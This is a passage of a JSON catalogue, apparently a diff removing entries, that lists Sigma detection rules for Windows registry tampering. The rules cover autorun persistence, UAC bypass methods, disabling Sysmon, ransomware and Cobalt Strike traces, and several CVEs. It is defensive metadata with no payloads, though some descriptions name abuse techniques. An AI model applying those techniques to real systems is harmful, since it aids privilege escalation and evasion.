"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "f59c3faf-50f3-464b-9f4c-1b67ab512d99", - "value": "Common Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_currentcontrolset.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "f674e36a-4b91-431e-8aef-f8a96c2aca35", - "value": "CurrentControlSet Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_currentversion.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "20f0ee37-5942-4e45-b7d5-c5b5db9df5cd", - "value": "CurrentVersion Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_currentversion_nt.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "cbf93e5d-ca6c-4722-8bea-e9119007c248", - "value": "CurrentVersion NT Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_internet_explorer.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "a80f662f-022f-4429-9b8c-b1a41aaa6688", - "value": "Internet Explorer Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_office.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "baecf8fb-edbf-429f-9ade-31fc3f22b970", - "value": "Office Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_session_manager.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001", - "attack.t1546.009" - ] - }, - "uuid": "046218bd-e0d8-4113-a3c3-895a12b2b298", - "value": "Session Manager Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_system_scripts.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "e7a2fd40-3ae1-4a85-bf80-15cf624fb1b1", - "value": "System Scripts Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_winsock2.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "d6c2ce7e-afb5-4337-9ca4-4b5254ed0565", - "value": "WinSock2 Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_wow6432node.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "b29aed60-ebd1-442b-9cb5-16a1d0324adb", - "value": "Wow6432Node CurrentVersion Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_wow6432node_classes.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "18f2065c-d36c-464a-a748-bcf909acb2e3", - "value": "Wow6432Node Classes Autorun Keys Modification" - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "filename": "registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "480421f9-417f-4d3b-9552-fd2728443ec8", - "value": "Wow6432Node CurrentVersion Autorun Keys Modification" - }, - { - "description": "BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption", - "meta": { - "author": "frack113", - "creation_date": "2022/01/24", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_blackbyte_ransomware.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml", - "https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "83314318-052a-4c90-a1ad-660ece38d276", - "value": "Blackbyte Ransomware Registry" - }, - { - "description": "Bypasses User Account Control using a fileless method", - "meta": { - "author": "frack113", - "creation_date": "2022/01/05", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_bypass_uac_using_delegateexecute.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml", - "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute", - "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ] - }, - "uuid": "46dd5308-4572-4d12-aa43-8938f0184d4f", - "value": "Bypass UAC Using DelegateExecute" - }, - { - "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification", - "meta": { - "author": "frack113", - "creation_date": "2022/01/05", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_bypass_uac_using_eventviewer.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd", - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/" - ], - "tags": [ - "attack.persistence", - "attack.t1547.010" - ] - }, - "uuid": "674202d0-b22a-4af4-ae5f-2eda1f3da1af", - "value": "Bypass UAC Using Event Viewer" - }, - { - "description": "There is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC", - "meta": { - "author": "frack113", - "creation_date": "2022/01/06", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_bypass_uac_using_silentcleanup_task.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task", - "https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ] - }, - "uuid": "724ea201-6514-4f38-9739-e5973c34f49a", - "value": "Bypass UAC Using SilentCleanup Task" - }, - { - "description": "Remote desktop is a common feature in operating systems.\nIt allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_change_rdp_port.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller" - ], - "tags": [ - "attack.persistence", - "attack.t1547.010" - ] - }, - "uuid": "509e84b9-a71a-40e0-834f-05470369bd1e", - "value": "Changing RDP Port to Non Standard Number" - }, - { - "description": "Hides the file extension through modification of the registry", - "meta": { - "author": "frack113", - "creation_date": "2022/01/22", - "falsepositive": [ - "Administrative scripts" - ], - "filename": "registry_set_change_security_zones.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone" - ], - "tags": [ - "attack.persistence", - "attack.t1137" - ] - }, - "uuid": "45e112d0-7759-4c2a-aa36-9f8fb79d3393", - "value": "IE Change Domain Zone" - }, - { - "description": "Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.", - "meta": { - "author": "B.Talebi", - "creation_date": "2022/07/28", - "falsepositive": [ - "Legitimate driver altitude change to hide sysmon" - ], - "filename": "registry_set_change_sysmon_driver_altitude.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", - "https://youtu.be/zSihR3lTf7g", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "4916a35e-bfc4-47d0-8e25-a003d7067061", - "value": "Disable Sysmon Event Logging Via Registry" - }, - { - "description": "Detects tampering with the \"ChannelAccess\" registry key in order to change access to windows event channel", - "meta": { - "author": "frack113", - "creation_date": "2022/09/17", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_change_winevt_channelaccess.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml", - "https://learn.microsoft.com/en-us/windows/win32/api/winevt/", - "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "7d9263bd-dc47-4a58-bc92-5474abab390c", - "value": "Change Winevt Event Access Permission Via Registry" - }, - { - "description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_chm_persistence.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chm_persistence.yml", - "https://persistence-info.github.io/Data/htmlhelpauthor.html", - "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "976dd1f2-a484-45ec-aa1d-0e87e882262b", - "value": "CHM Helper DLL Persistence" - }, - { - "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension", - "meta": { - "author": "frack113", - "creation_date": "2021/12/28", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_chrome_extension.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1133/T1133.md#atomic-test-1---running-chrome-vpn-extensions-via-the-registry-2-vpn-extension", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chrome_extension.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1133" - ] - }, - "uuid": "b64a026b-8deb-4c1d-92fd-98893209dff1", - "value": "Running Chrome VPN Extensions via the Registry 2 VPN Extension" - }, - { - "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.\nWe can also catch this by system log 7045 (https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_cobaltstrike_service_installs.yml)\nIn some SIEM you can catch those events also in HKLM\\System\\ControlSet001\\Services or HKLM\\System\\ControlSet002\\Services, however, this rule is based on a regular sysmon's events.\n", - "meta": { - "author": "Wojciech Lesicki", - "creation_date": "2021/06/29", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_cobaltstrike_service_installs.yml", - "level": "critical", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml", - "https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1543.003", - "attack.t1569.002" - ] - }, - "uuid": "61a7697c-cb79-42a8-a2ff-5f0cdfae0130", - "value": "CobaltStrike Service Installations in Registry" - }, - { - "description": "Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute'", - "meta": { - "author": "Omkar Gudhate", - "creation_date": "2020/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_comhijack_sdclt.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml", - "https://www.exploit-db.com/exploits/47696" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546", - "attack.t1548" - ] - }, - "uuid": "07743f65-7ec9-404a-a519-913db7118a8d", - "value": "COM Hijack via Sdclt" - }, - { - "description": "Detects disabling the CrashDump per registry (as used by HermeticWiper)", - "meta": { - "author": "Tobias Michalski", - "creation_date": "2022/02/24", - "falsepositive": [ - "Legitimate disabling of crashdumps" - ], - "filename": "registry_set_crashdump_disabled.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml" - ], - "tags": [ - "attack.t1564", - "attack.t1112" - ] - }, - "uuid": "2ff692c2-4594-41ec-8fcb-46587de769e0", - "value": "CrashControl CrashDump Disabled" - }, - { - "description": "Detect the creation of a service with a service binary located in a suspicious directory", - "meta": { - "author": "Florian Roth, frack113", - "creation_date": "2022/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_creation_service_susp_folder.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "a07f0359-4c90-4dc4-a681-8ffea40b4f47", - "value": "Service Binary in Suspicious Folder" - }, - { - "description": "Detect the creation of a service with a service binary located in a uncommon directory", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_creation_service_uncommon_folder.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_uncommon_folder.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "277dc340-0540-42e7-8efb-5ff460045e07", - "value": "Service Binary in Uncommon Folder" - }, - { - "description": "Detects the abuse of custom file open handler, executing powershell", - "meta": { - "author": "CD_R0M_", - "creation_date": "2022/06/11", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_custom_file_open_handler_powershell_execution.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/?cmp=30728", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_custom_file_open_handler_powershell_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "7530b96f-ad8e-431d-a04d-ac85cc461fdc", - "value": "Custom File Open Handler Executes PowerShell" - }, - { - "description": "Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048", - "meta": { - "author": "EagleEye Team, Florian Roth, NVISO", - "creation_date": "2020/05/13", - "falsepositive": [ - "New printer port install on host" - ], - "filename": "registry_set_cve_2020_1048_new_printer_port.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2020_1048_new_printer_port.yml", - "https://windows-internals.com/printdemon-cve-2020-1048/" - ], - "tags": [ - "attack.persistence", - "attack.execution", - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "7ec912f2-5175-4868-b811-ec13ad0f8567", - "value": "Suspicious New Printer Ports in Registry (CVE-2020-1048)" - }, - { - "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", - "meta": { - "author": "Sittikorn S, frack113", - "creation_date": "2021/07/16", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_cve_2021_31979_cve_2021_33771_exploits.yml", - "level": "critical", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", - "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2021_31979_cve_2021_33771_exploits.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1566", - "attack.t1203", - "cve.2021.33771", - "cve.2021.31979" - ] - }, - "uuid": "32b5db62-cb5f-4266-9639-0fa48376ac00", - "value": "CVE-2021-31979 CVE-2021-33771 Exploits" - }, - { - "description": "Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.", - "meta": { - "author": "Sittikorn S", - "creation_date": "2020/05/31", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_cve_2022_30190_msdt_follina.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190", - "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1221" - ] - }, - "uuid": 